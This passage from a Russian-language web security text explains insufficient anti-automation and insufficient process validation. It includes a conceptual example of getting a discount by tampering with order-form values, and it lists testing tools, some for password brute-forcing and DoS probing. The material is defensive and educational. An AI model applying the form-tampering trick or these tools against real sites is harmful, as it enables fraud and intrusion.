Недостаточное противодействие автоматизации (Insufficient Anti-automation) – недостаточное противодействие автоматизации возникает, когда сервер позволяет автоматически выполнять операции, которые должны проводиться вручную. Для некоторых функций приложения необходимо реализовывать защиту от автоматических атак.
Автоматизированные программы могут варьироваться от безобидных роботов поисковых систем до систем автоматизированного поиска уязвимостей и регистрации учетных записей. Подобные роботы генерируют тысячи запросов в минуту, что может привести к падению производительности всего приложения.
Противодействие автоматизации заключается в ограничении возможностей подобных утилит. Например, файл robots может предотвращать индексирование некоторых частей сервера, а дополнительные средства идентификации предотвращать автоматическую регистрацию сотен учетных записей системы электронной почты.
Недостаточная проверка процесса (Insufficient Process Validation) – Уязвимости этого класса возникают, когда сервер не достаточно проверяет последовательность выполнения операций приложения. Если состояние сессии пользователя и приложения должным образом не контролируется, приложение может быть уязвимо для мошеннических действий.
В процессе доступа к некоторым функциям приложения ожидается, что пользователь выполнит ряд действий в определенном порядке. Если некоторые действия выполняются неверно или в неправильном порядке, возникает ошибка, приводящая к нарушению целостности. Примерами подобных функций выступают переводы, восстановление паролей, подтверждение покупки, создание учетной записи и т.д. В большинстве случаев эти процессы состоят из ряда последовательных действий, осуществляемых в четком порядке.
Для обеспечения корректной работы подобных функций Web-приложение должно чётко отслеживать состояние сессии пользователя и отслеживать её соответствие текущим операциям. В большинстве случаев это осуществляется путем сохранения состояния сессии в cookie или скрытом поле формы HTML. Но поскольку эти значения могут быть модифицированы пользователем, обязательно должна проводиться проверка этих значений на сервере. Если этого не происходит, злоумышленник получает возможность обойти последовательность действий, и как следствие – логику приложения.
Пример: система электронной торговли может предлагать скидку на продукт B, в случае покупки продукта A. Пользователь, не желающий покупать продукт A, может попытаться приобрести продукт B со скидкой. Заполнив заказ на покупку обоих продуктов, пользователь получат скидку. Затем пользователь возвращается к форме подтверждения заказа и удаляет продукт A из покупаемых, путём модификации значений в форме. Если сервер повторно не проверит возможность покупки продукта B по указанной цене без продукта A, будет осуществлена закупка по более низкой цене.
Обеспечение безопасности web-приложений – комплексная многоуровневая задача, имеющая множество аспектов, как общих для любых сетевых служб, так и характерных только для Web-приложений. Первые включают безопасность сетевой инфраструктуры (маршрутизаторов, firewall-ов, DNS серверов, IDS/IPS и так далее), безопасность физических серверов, на которых расположены web-сервер и база данных, включая безопасность реализации стека протоколов TCP/IP и других работающих сервисов и так далее. Аспектами, специфическими для Web-приложения, являются безопасность Web-сервера и его конфигурации как сервиса и собственно безопасность скриптов, реализующих основную функциональность.
Из приведённой выше классификации угроз Web-приложений – сложных, разнообразных, многофакторных – становится понятна необходимость разработки и применения адекватной защиты, по разным направлениям, с использованием множества технологий. Здесь и элементарная внимательность разработчиков при создании процедуры обработки введённых в форму параметров, и продвинутая IPS, предотвращающая SQL Injection для SQL-сервера определённой версии и диалекта, и защита от переполнения буфера и т.д. Обойтись одним каким-то решением, одной технологией безопасности в Web-мире сегодня принципиально невозможно.
Существует множество инструментальных методов и средств, позволяющих оценить безопасность Web-приложения. Ниже будут перечислены только некоторые из них:
nc (netcat) – универсальный сетевой клиент;
Achilles – анализатор HTTP на стороне клиента;
wget – генератор HTTP;
встроенные в браузеры отладчики html, javascript;
Wireshark – сетевой анализатор (сниффер);
Веб-сканеры уязвимости, такие как Nikto, Paros proxy, WebInspect, Acunetix Web Vulnerability Scanner и др.;
WebCracker – автоматизированный подбор паролей;
CookieSpy – анализ cookie;
FSMax ( NTOMax ) – главная цель инструмента – найти уязвимости сервера к DoS атакам и возможным переполнениям буфера;
Как говорилось выше, не следует недооценивать и административный фактор при обеспечении безопасности Web-приложений. Отсутствие резервной копии данных (backup) просто из-за того, что в политике безопасности эта процедура не была регламентирована, может привести к катастрофическим последствиям для компании, если, например, в результате DoS-атаки её сайт был уничтожен полностью, с безвозвратным удалением файлов и данных. Можно ещё раз вспомнить о судьбе компаний, не имевших резервной копии данных и пострадавших в результате катастрофы 9-11.
|
